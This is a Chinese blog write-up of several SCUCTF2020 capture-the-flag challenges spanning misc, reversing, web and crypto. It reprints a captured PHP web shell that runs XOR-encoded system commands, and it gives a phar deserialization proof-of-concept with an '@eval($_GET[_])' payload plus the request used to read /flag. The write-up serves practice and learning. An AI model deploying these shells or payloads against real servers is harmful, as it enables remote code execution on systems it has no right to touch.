

# SCUCTF2020部分writeup

原创

东坡何罪发文章总是审核不通过，去博客园了



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本文链接：<https://blog.csdn.net/perfect0066/article/details/106328666>

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## SCUCTF2020部分writeup

### MISC

#### 专业团队

binwalk -e Daning.png

提取出word文档

啊，这都被你找到了↵  
那好吧，告诉你 Flag 吧↵  
scuctf{19cc63ff-50b9-4254-a997-89d613290918}↵

scuctf{19cc63ff-50b9-4254-a997-89d613290918}

### 记录

参考链接：

IP反向解析(PTR/RDNS)

<http://www.winwebmail.com/errmail/ptr.html>

从零开始邮件服务器搭建 - 简书

<https://www.jianshu.com/p/610d9bf0ae8b>

PTR:反向域名解析,可以通过发件人的IP地址反向得知域名,也是一种用以判断发件人是否正常的方式.

Sending DNS query for **173.120.82.173.in-addr.arpa...**

**default-resolver** returned a **non-authoritative** response in 181 ms:

#### Answer records

name	class	type	data	time to live
173.120.82.173.in-addr.arpa	IN	PTR	b80e3ba4-055f-4c26-9482-23dc46424852.example.com	3600s (01:00:00)

<https://blog.csdn.net/perfect0066>

flag{b80e3ba4-055f-4c26-9482-23dc46424852}

## APU的犯罪证据

上传的shell

```
<?php
session_start();
function fastpow($a,$b,$c)
{
    if($b==0)
        return 1;
    $res=fastpow($a,intval($b/2),$c);
    if($b%2)
        return $res*$res*$a%$c;
    return $res*$res%$c;
}
if(!isset($_SESSION['p']))
{
    $_SESSION['p']=46;
    $_SESSION['?']=6;
    $_SESSION['ra']=rand(50, 100);
    4=fastpow($_SESSION['?'],$_SESSION['ra'],$_SESSION['p']);
    printf("%d,%d,%d",$_SESSION['p'],$_SESSION['?'],$a);
    die();
}
if(!isset($_SESSION['key']))
{
    $_SESSION['key']=fastpow(32,$_SESSION['ra'],46); 18
    die();
}
$code=$_REQUEST['code'];
$cmd='';
for($i=0;$i<strlen($_REQUEST['code']);$i++)
{
    $cmd.=chr(ord($_REQUEST['code'][$i]) ^ $_SESSION['key']);
}
ob_start();
system($cmd);
$res=ob_get_contents();
ob_end_clean();
for($i=0;$i<strlen($res);$i++)
{
    echo chr(ord($res[$i]) ^ $_SESSION['key']);
}
```

根据传输的命令爆破出来key为18

```

a = list('~a')
a = list('YgZfwd!J_g*EXE9HtqjFwqA*wqA*wqA*wqA*wqA*wvaW.')

key = 0

temp = ''

for key in range(0,128):
    print(key)
    temp = ''
    for i in a:
        temp = temp + chr(ord(i)^key)

print(temp)

```

与key异或之后

KuHtev3XMu8WJW+ZfcxTecS8ecS8ecS8ecS8ecS8edsE<

```

str1 = [ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
         'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q',
         'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/']

str2 = list("NOPQRSABCDEFHIA23156bcdefgJKLMNOPQRSTUVWXYZijklmnopqrstuvwxyz0+/")

flag1 = 'KuHtev3XMu8WJW+ZfcxTecS8ecS8ecS8ecS8ecS8edsE'

flag2= ''

def change(temp):
    for i in range(64):
        if temp == str2[i]:
            return str1[i]

for temp in flag1:
    flag2 = flag2+str(change(temp))

print(flag2)

```

恢复成标准base64之后

c2N1Y3Rme2hlbl9oZW5fYWFWhYWFWhYWFWhYWFWhYWFWhYX0K

base64解密之后：

scuctf{hen\_hen\_aaaaaaaaaaaaaaaaa}

re

真的签到题

```

a = "scu_ctf_f4k3_f14g"
b = "pbm`KkL`dKQ2KeJLd"
c = ""

for i in range(17):
    c = c + chr(ord(b[i])*2-ord(a[i]))
print(c)

```

scuctf{maea3b2abb717dcda}

## PY交易

参考链接:

[原创]死磕python字节码-手工还原python源码-『软件逆向』-看雪安全论坛

<https://bbs.pediy.com/thread-246683.htm>

32.12. dis — Disassembler for Python bytecode — Python 2.7.18 documentation

<https://docs.python.org/2/library/dis.html>

Python逆向（五）——Python字节码解读 - Blili - 博客园

<https://www.cnblogs.com/blili/p/11804690.html>

Python反编译之字节码 - 知乎

<https://zhuanlan.zhihu.com/p/66303449>

反汇编并化简之后如下:

```
inputs = input ('please your flag:')
inputs = inputs[7:-1]
flag = 'th31_scuctf_eXclus1v3'           #Len(flag)=21
theflag = ''
i = 0
j=0
print(flag[0])
if len(flag) != len(inputs):
    print("Error!")
for i in range(0,7):
    theflag = theflag +chr (ord(flag[i]) + ord(inputs[i+ 8] ) )   #Len(theFlag)=7
for i in range(10,15):
    theflag = theflag + chr(ord(flag[i]) + ord( inputs[i-8]))      #Len(theFlag)=12
    j = i + 1
for i in range(15,21):
    theflag = theflag + chr(ord(flag[i-3]) + ord(inputs[i]))  #Len(theFlag)=18

flags = list(theflag)
for i in range(0,9):
    flags[i] = chr(ord(flags[i])+20)      #  flags[0:9] = 'ú±¬¤¤úÖíð'

flagt =flags[ 9 : 18 ]
theflag = ''.join(flagt)           #Len(theFlag)=9
for k in range(0,9):               #theFlag = '\x8b\x8c\x0d\x0a'
    theflag = theflag + ''.join(flags[k])
if theflag == '\x8b\x8c\x0d\x0aú±¬¤¤úÖíð':
    print ('You win!')
```

计算flag的脚本

```

flags = 'Ú±¬¤¤úÖíÒ' + '\x8bÙÍ\x8cÓÜí¤'
flags = list(flags)

for i in range(0,9):
    flags[i] = chr(ord(flags[i])-20)

flag = 'th31_scuctf_eXclus1v3'
theflag = flags
inputs = '*'*21

inputs = list(inputs)
flag = list(flag)
theflag = list(theflag)

for i in range(0,7):
    inputs[i+ 8] = chr( ord(theflag[i]) - ord(flag[i]) )

for i in range(10,15):
    inputs[i-8] = chr( ord(theflag[i-3]) - ord(flag[i]) )

for i in range(15,21):
    inputs[i] = chr( ord(theflag[i-3]) - ord(flag[i-3]) )

print(''.join(inputs))

```

scuctf{d1s\_r3v3r5e\_1s\_h4ppy1}

## 太空大战

参考链接:

简单 Unity3D 安卓游戏逆向思路

<https://paper.seebug.org/829/>

.NET IL指令速查表 - DotNet码农 - 博客园

<https://www.cnblogs.com/yuwentao/p/5923978.html>

青蛙旅行 — Unity3d类安卓游戏逆向分析初探 - 安全客，安全资讯平台

<https://www.anquanke.com/post/id/96901>

神器如 dnSpy，无需源码也能修改 .NET 程序 - walterlv

<https://walterlv.gitee.io/post/edit-and-recompile-assembly-using-dnspy.html>

消灭所有敌人就能获得flag

用dnSpy打开\assets\bin\Data\Managed里的Assembly-CSharp.dll

查看PlayerShooting类里的MakeAShot方法，里面是个switch语句。

```
1 // PlayerShooting
2 // Token: 0x0600002B RID: 43 RVA: 0x00002B8C File Offset: 0x00000D8C
3 private void MakeAShot()
4 {
5     switch (this.weaponPower)
6     {
7         case 1:
8             this.CreateLazerShot(this.projectileObject, this.guns.centralGun.transform.position, Vector3.zero);
9             this.guns.centralGunVFX.Play();
10            return;
11        case 2:
12            this.CreateLazerShot(this.projectileObject, this.guns.rightGun.transform.position, Vector3.zero);
13            this.guns.leftGunVFX.Play();
14            this.CreateLazerShot(this.projectileObject, this.guns.leftGun.transform.position, Vector3.zero);
15            this.guns.rightGunVFX.Play();
16            return;
17        case 3:
18            this.CreateLazerShot(this.projectileObject, this.guns.centralGun.transform.position, Vector3.zero);
19            this.CreateLazerShot(this.projectileObject, this.guns.rightGun.transform.position, new Vector3(0f, 0f, -1f));
20            this.guns.leftGunVFX.Play();
21            this.CreateLazerShot(this.projectileObject, this.guns.leftGun.transform.position, new Vector3(0f, 0f, 1f));
22            this.guns.rightGunVFX.Play();
23            return;
24        case 4:
25            this.CreateLazerShot(this.projectileObject, this.guns.centralGun.transform.position, Vector3.zero);
26            this.CreateLazerShot(this.projectileObject, this.guns.rightGun.transform.position, new Vector3(0f, 0f, -1f));
27            this.guns.leftGunVFX.Play();
28            this.CreateLazerShot(this.projectileObject, this.guns.leftGun.transform.position, new Vector3(0f, 0f, 1f));
29            this.guns.rightGunVFX.Play();
30            this.CreateLazerShot(this.projectileObject, this.guns.leftGun.transform.position, new Vector3(0f, 0f, -1f));
31            this.CreateLazerShot(this.projectileObject, this.guns.rightGun.transform.position, new Vector3(0f, 0f, 1f));
32            return;
33        default:
34            return;
35    }
36 }
```

<https://blog.csdn.net/perfect0066>

通过汇编将case1、2、3的return改为nop，开局获得多个fire。

```
1 // Player
2 // Token: 0x0600001E RID: 30 RVA: 0x00002880 File Offset: 0x00000A80
3 public void GetDamage(int damage)
4 {
5     this.Destruction();
6 }
```

编辑方法体 - GetDamage(int) : void @0600001E

指令	局部变量	异常处理程序	
主体类型(B) IL			
<input type="checkbox"/> 保持之前的 MaxStack 值(K)	<input checked="" type="checkbox"/> 初始化局部变量(L)	头数据 RVA 0x2880	
序号	偏移	操作码	操作符
0	0000	ldarg.0	
1	0001	call	instance void Player::Destruction()
2	0006	ret	

<https://blog.csdn.net/perfect0066>

Player类GetDamage方法里的语句改为nop，使player手上不销毁。

重打包apk，安装apk，使用adb查看debug信息获得flag

```
scuctf{b44822668458dee4}
```

## web

### 二次注入

参考链接：

SQL注入（二次注入） - 知乎

<https://zhuanlan.zhihu.com/p/39917830>

flag会变

## 反序列化？

参考链接：

PHP反序列化入门之phar | Mochazz's blog

<https://mochazz.github.io/2019/02/02/PHP反序列化入门之phar/#例题一>

```
<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class Flag{
    var $code = '@eval($_GET[_]);';
}

$o = new Flag();
$filename = 'poc.phar';// 后缀必须为phar, 否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
```

/vulnerable.php?filename=phar://upload/poc.gif&\_=echo file\_get\_contents('/flag');

## Crypto

### 自创觅马

解密脚本

```
def c2i(c):
    return ord(c)-ord('a')

def i2c(i):
    return chr(i+ord('a'))

def affine(x):
    return (5 *x +8)%26

def un_affine(x):
    temp = x-8+26
    while temp %5 >0:
        temp = temp + 26
    return int((temp/5)%26)

encrypt = "hlimiuaxhiurxhefwxehyiatumx"

result = "".join([i2c(un_affine(c2i(i))) for i in encrypt] )

print(result)
```

flag{asodfashdfupidufyaoxsgd}